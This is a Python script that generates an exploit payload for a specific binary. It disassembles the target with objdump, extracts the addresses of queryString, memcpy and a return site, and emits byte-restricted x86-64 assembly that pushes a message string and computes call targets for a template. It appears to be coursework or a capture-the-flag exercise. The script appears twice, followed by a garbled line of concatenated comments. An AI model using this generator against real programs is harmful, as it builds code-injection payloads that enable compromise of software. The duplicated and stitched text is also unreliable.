<gh_stars>0
import sys
import os
import binascii
import subprocess
import re

msg = sys.argv[1]


# binary
binary = sys.argv[2]
system = sys.argv[3]
inputFile = sys.argv[4]
output = sys.argv[5]

dmp = subprocess.check_output(["objdump", "-d", binary]).decode()

# this appears only because of the file name ... not portable
if system == "ubuntu":
	UBUNTU = True
	seqAfter = r"83 44 24 14 01"
elif system == "arch":
	UBUNTU = False
	seqAfter = r"88 45 ef"
else:
	print("System {} unknown".format(system))
	sys.exit(1)

if UBUNTU:
	indReg = "%rax"
else:
	indReg = "%r14"

# queryString function
m1 = re.search("([0-9a-f]+) <_Z11queryStringPc>", dmp)
addrQuery = int(m1[1], 16)

# memcopy
m2 = re.search("callq  ([0-9a-f]+) <memcpy@plt>", dmp)
addrMemcpy = int(m2[1], 16)

# ret ip
ai = dmp.find(r"<_Z4doItR4Task>:")
queryAfter = r"callq *\t* *\*%r([a-z0-9]+)\n *\t*([0-9a-f]+):\t"
m3 = re.search(queryAfter, dmp[ai:])
indReg = "%r" + m3[1]
rip = int(m3[2], 16) # 0x00005555555584c5

print(hex(addrQuery), hex(addrMemcpy), hex(rip), indReg)

#print("%x %x %x" % (addrQuery, addrMemcpy, rip))

lvTmpl = """
	# {}
	mov $0x{}, %rcx
	shlq $32, %rcx
	mov $0x{}, %rax
	or %rcx, %rax
	push %rax
"""

incRSP = """
	# increment rsp by 12
		# rsp is at latest string blob, needs rsp+12
		# need the first pops to not tamper already string blob
	pop %rax # need rsp + 4
	pop %rax # need rsp - 4
	push %rsp # need rsp + 4, but the saved value still needs -4
	pop %rax # need RAX - 4
	add $-0x7c, %rax # both adds result in "-4"
	add $0x78, %rax
	push %rax
	pop %rsp
"""

cts = 0
def s2asm2b(s):
	global cts
	s = s + "\x00" * (8 - len(s) % 8)
	cur = 0
	erg = ""
	while cur < len(s):
		# one 4-byte blob
		blob = s[cur:cur+4]
		blobhex = binascii.hexlify(blob[::-1].encode()).decode()

		erg += "# {} : {}\n".format(blob.replace("\x00", "\\x00"), blobhex)
		for i in range(4):
			#erg += "\tshl %eax\n" * 8
			erg += "\tmul %ecx\n"
			seq = blobhex[i*2:i*2 + 2]
			val = int(seq, 16)
			while val > 0x54: # split in small parts if necessary
				erg += "\taddb $0x54, %al # '{}'\n".format(val)
				val -= 0x54
			if val == 0x29: # this does not work later
				erg += "\taddb ${}, %al # '{}'\n".format(val // 2, val)
				erg += "\taddb ${}, %al # '{}'\n".format(val - val // 2, val)
			else:
				erg += "\taddb ${}, %al # '{}'\n".format(val, val)
		erg += "\tpush %rax\n"
		if cur + 4 < len(s): # more to got
			# increment rsp by 12 to get new offset
			erg += incRSP
#		erg += lvTmpl.format(blob.replace("\x00", "\\x00"), upper, lower)
#		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00"))
		cur += 4
		# TODO: move rsp correct
		cts += 1
	# preset rsp and reset correctly afterwards
	sub = (cts * 8) // 0x70 + 4
	erg = "\tadd $-0x70, %rsp\n" * sub + "\tpush %rsp\n\tpop %rdi\n\tpop %rdx # next push uses correct position\n" + erg + "\tpop %rcx\n\tpop %rcx\n\tpush %rdi\n\tpop %rsp\n"
	return erg

def s2asm(s):
	global cts
	s = s + "\x00" * (8 - len(s) % 8)
	cur = len(s) - 8
	erg = ""
	while cur >= 0:
		blob = s[cur:cur+8]
		blobhex = binascii.hexlify(blob[::-1].encode()).decode()
		upper = blobhex[:8]
		lower = blobhex[8:]
		erg += lvTmpl.format(blob.replace("\x00", "\\x00"), upper, lower)
#		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00"))
		cur -= 8
		cts += 1
	# align 16 byte string
	if cts % 2 == 1:
		erg = "\tpush $0x0\n" + erg
	return erg

asm = s2asm(msg)
asm2b = s2asm2b(msg)
popQuery = "\tpop %rcx\n" * cts

base = os.path.dirname(os.path.abspath(__file__))
content = open(os.path.join(base, inputFile)).read()

addrTmpl = """
	mov %rbx, %rax
	
	shlq $32, %%rcx
	movl $0x%x, %%eax
	or %%rcx, %%rax
"""

def genList(a):
	if a % 0x7F == 0:
		return [0x7F] * (a // 0x7F)
	count = a // 0x7F
	count += 1
	x = []
	while a > 0:
		x += [a // count]
		a -= x[-1]
		count -= 1
	assert a == 0 and count == 0
	return x

def a2func(addr):
	addSub = "add"
	sign = ""
	if addr < 0:
		addSub = "add"
		sign = "-"
		addr = -addr
	lower = addr % (2**32)
	upper = addr // (2**32)
	assert upper == 0, "{} gives {}".format(addr, upper)
	b1 = addr // 256
	assert b1 < 256, b1
	b2 = addr % 256
	l = genList(addr)
	erg = "\tmov %rbx, %rax\n"
	for x in l:
		erg += "\tadd ${}{}, %rax\n".format(sign, x)
	return erg

def a2func2b(addr):
	addSub = "add"
	sign = ""
	if addr < 0:
		addSub = "add"
		sign = "-"
		addr = -addr
	erg = "\tand $0, %al\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	mult = addr // 0x7e
	mod = addr % 0x7e
	want = 1
	while mod // want < 0x79:
		mod += 0x7e
		want += 1
		mult -= 1
	if mult > 0x55:
		erg += "\taddb ${}, %al\n".format(0x55)
		mult -= 0x55
	erg += "\taddb ${}, %al\n".format(mult)
	erg += "\txchg %rax, %rcx\n"
	erg += "\tmov %rbx, %rax\n" + "looplbl{}:\n".format(addr)
	erg += "\tadd ${}{}, %rax\n.zero 104\n\n".format(sign, 0x7e)
	erg += "\tloopne looplbl{}\n".format(addr)
	while mod > 0:
		erg += "\tadd ${}{}, %rax\n".format(sign, mod // want)
		mod -= mod // want
		want -= 1
	return erg

# replace
content = content.replace("%IND_REG%", indReg)
content = content.replace("%QUERY%", asm)
content = content.replace("%QUERY_2B%", asm2b)
content = content.replace("%ADDR_Q%", a2func(addrQuery - rip))
content = content.replace("%ADDR_MEM%", a2func(addrMemcpy - rip))
content = content.replace("%ADDR_2B_Q%", a2func2b(addrQuery - rip))
content = content.replace("%ADDR_2B_MEM%", a2func2b(addrMemcpy - rip))
content = content.replace("%POPQUERY%", popQuery)

with open(os.path.join(base, output), "w") as outf:
	outf.write(content)

import sys
import os
import binascii
import subprocess
import re

msg = sys.argv[1]


# binary
binary = sys.argv[2]
system = sys.argv[3]
inputFile = sys.argv[4]
output = sys.argv[5]

dmp = subprocess.check_output(["objdump", "-d", binary]).decode()

# this appears only because of the file name ... not portable
if system == "ubuntu":
	UBUNTU = True
	seqAfter = r"83 44 24 14 01"
elif system == "arch":
	UBUNTU = False
	seqAfter = r"88 45 ef"
else:
	print("System {} unknown".format(system))
	sys.exit(1)

if UBUNTU:
	indReg = "%rax"
else:
	indReg = "%r14"

# queryString function
m1 = re.search("([0-9a-f]+) <_Z11queryStringPc>", dmp)
addrQuery = int(m1[1], 16)

# memcopy
m2 = re.search("callq  ([0-9a-f]+) <memcpy@plt>", dmp)
addrMemcpy = int(m2[1], 16)

# ret ip
ai = dmp.find(r"<_Z4doItR4Task>:")
queryAfter = r"callq *\t* *\*%r([a-z0-9]+)\n *\t*([0-9a-f]+):\t"
m3 = re.search(queryAfter, dmp[ai:])
indReg = "%r" + m3[1]
rip = int(m3[2], 16) # 0x00005555555584c5

print(hex(addrQuery), hex(addrMemcpy), hex(rip), indReg)

#print("%x %x %x" % (addrQuery, addrMemcpy, rip))

lvTmpl = """
	# {}
	mov $0x{}, %rcx
	shlq $32, %rcx
	mov $0x{}, %rax
	or %rcx, %rax
	push %rax
"""

incRSP = """
	# increment rsp by 12
		# rsp is at latest string blob, needs rsp+12
		# need the first pops to not tamper already string blob
	pop %rax # need rsp + 4
	pop %rax # need rsp - 4
	push %rsp # need rsp + 4, but the saved value still needs -4
	pop %rax # need RAX - 4
	add $-0x7c, %rax # both adds result in "-4"
	add $0x78, %rax
	push %rax
	pop %rsp
"""

cts = 0
def s2asm2b(s):
	global cts
	s = s + "\x00" * (8 - len(s) % 8)
	cur = 0
	erg = ""
	while cur < len(s):
		# one 4-byte blob
		blob = s[cur:cur+4]
		blobhex = binascii.hexlify(blob[::-1].encode()).decode()

		erg += "# {} : {}\n".format(blob.replace("\x00", "\\x00"), blobhex)
		for i in range(4):
			#erg += "\tshl %eax\n" * 8
			erg += "\tmul %ecx\n"
			seq = blobhex[i*2:i*2 + 2]
			val = int(seq, 16)
			while val > 0x54: # split in small parts if necessary
				erg += "\taddb $0x54, %al # '{}'\n".format(val)
				val -= 0x54
			if val == 0x29: # this does not work later
				erg += "\taddb ${}, %al # '{}'\n".format(val // 2, val)
				erg += "\taddb ${}, %al # '{}'\n".format(val - val // 2, val)
			else:
				erg += "\taddb ${}, %al # '{}'\n".format(val, val)
		erg += "\tpush %rax\n"
		if cur + 4 < len(s): # more to got
			# increment rsp by 12 to get new offset
			erg += incRSP
#		erg += lvTmpl.format(blob.replace("\x00", "\\x00"), upper, lower)
#		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00"))
		cur += 4
		# TODO: move rsp correct
		cts += 1
	# preset rsp and reset correctly afterwards
	sub = (cts * 8) // 0x70 + 4
	erg = "\tadd $-0x70, %rsp\n" * sub + "\tpush %rsp\n\tpop %rdi\n\tpop %rdx # next push uses correct position\n" + erg + "\tpop %rcx\n\tpop %rcx\n\tpush %rdi\n\tpop %rsp\n"
	return erg

def s2asm(s):
	global cts
	s = s + "\x00" * (8 - len(s) % 8)
	cur = len(s) - 8
	erg = ""
	while cur >= 0:
		blob = s[cur:cur+8]
		blobhex = binascii.hexlify(blob[::-1].encode()).decode()
		upper = blobhex[:8]
		lower = blobhex[8:]
		erg += lvTmpl.format(blob.replace("\x00", "\\x00"), upper, lower)
#		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00"))
		cur -= 8
		cts += 1
	# align 16 byte string
	if cts % 2 == 1:
		erg = "\tpush $0x0\n" + erg
	return erg

asm = s2asm(msg)
asm2b = s2asm2b(msg)
popQuery = "\tpop %rcx\n" * cts

base = os.path.dirname(os.path.abspath(__file__))
content = open(os.path.join(base, inputFile)).read()

addrTmpl = """
	mov %rbx, %rax
	
	shlq $32, %%rcx
	movl $0x%x, %%eax
	or %%rcx, %%rax
"""

def genList(a):
	if a % 0x7F == 0:
		return [0x7F] * (a // 0x7F)
	count = a // 0x7F
	count += 1
	x = []
	while a > 0:
		x += [a // count]
		a -= x[-1]
		count -= 1
	assert a == 0 and count == 0
	return x

def a2func(addr):
	addSub = "add"
	sign = ""
	if addr < 0:
		addSub = "add"
		sign = "-"
		addr = -addr
	lower = addr % (2**32)
	upper = addr // (2**32)
	assert upper == 0, "{} gives {}".format(addr, upper)
	b1 = addr // 256
	assert b1 < 256, b1
	b2 = addr % 256
	l = genList(addr)
	erg = "\tmov %rbx, %rax\n"
	for x in l:
		erg += "\tadd ${}{}, %rax\n".format(sign, x)
	return erg

def a2func2b(addr):
	addSub = "add"
	sign = ""
	if addr < 0:
		addSub = "add"
		sign = "-"
		addr = -addr
	erg = "\tand $0, %al\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	erg += "\tmul %eax\n"
	mult = addr // 0x7e
	mod = addr % 0x7e
	want = 1
	while mod // want < 0x79:
		mod += 0x7e
		want += 1
		mult -= 1
	if mult > 0x55:
		erg += "\taddb ${}, %al\n".format(0x55)
		mult -= 0x55
	erg += "\taddb ${}, %al\n".format(mult)
	erg += "\txchg %rax, %rcx\n"
	erg += "\tmov %rbx, %rax\n" + "looplbl{}:\n".format(addr)
	erg += "\tadd ${}{}, %rax\n.zero 104\n\n".format(sign, 0x7e)
	erg += "\tloopne looplbl{}\n".format(addr)
	while mod > 0:
		erg += "\tadd ${}{}, %rax\n".format(sign, mod // want)
		mod -= mod // want
		want -= 1
	return erg

# replace
content = content.replace("%IND_REG%", indReg)
content = content.replace("%QUERY%", asm)
content = content.replace("%QUERY_2B%", asm2b)
content = content.replace("%ADDR_Q%", a2func(addrQuery - rip))
content = content.replace("%ADDR_MEM%", a2func(addrMemcpy - rip))
content = content.replace("%ADDR_2B_Q%", a2func2b(addrQuery - rip))
content = content.replace("%ADDR_2B_MEM%", a2func2b(addrMemcpy - rip))
content = content.replace("%POPQUERY%", popQuery)

with open(os.path.join(base, output), "w") as outf:
	outf.write(content)
# binary # this appears only because of the file name ... not portable # queryString function # memcopy # ret ip # 0x00005555555584c5 #print("%x %x %x" % (addrQuery, addrMemcpy, rip)) # {} 	mov $0x{}, %rcx 	shlq $32, %rcx 	mov $0x{}, %rax 	or %rcx, %rax 	push %rax # increment rsp by 12 		# rsp is at latest string blob, needs rsp+12 		# need the first pops to not tamper already string blob 	pop %rax # need rsp + 4 	pop %rax # need rsp - 4 	push %rsp # need rsp + 4, but the saved value still needs -4 	pop %rax # need RAX - 4 	add $-0x7c, %rax # both adds result in "-4" 	add $0x78, %rax 	push %rax 	pop %rsp # one 4-byte blob #erg += "\tshl %eax\n" * 8 # split in small parts if necessary # '{}'\n".format(val) # this does not work later # '{}'\n".format(val // 2, val) # '{}'\n".format(val - val // 2, val) # '{}'\n".format(val, val) # more to got # increment rsp by 12 to get new offset #		erg += lvTmpl.format(blob.replace("\x00", "\\x00"), upper, lower) #		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00")) # TODO: move rsp correct # preset rsp and reset correctly afterwards # next push uses correct position\n" + erg + "\tpop %rcx\n\tpop %rcx\n\tpush %rdi\n\tpop %rsp\n" #		erg += "\tpush $0x{} # {}\n".format(blobhex, blob.replace("\x00", "\\x00")) # align 16 byte string mov %rbx, %rax 	 	shlq $32, %%rcx 	movl $0x%x, %%eax 	or %%rcx, %%rax # replace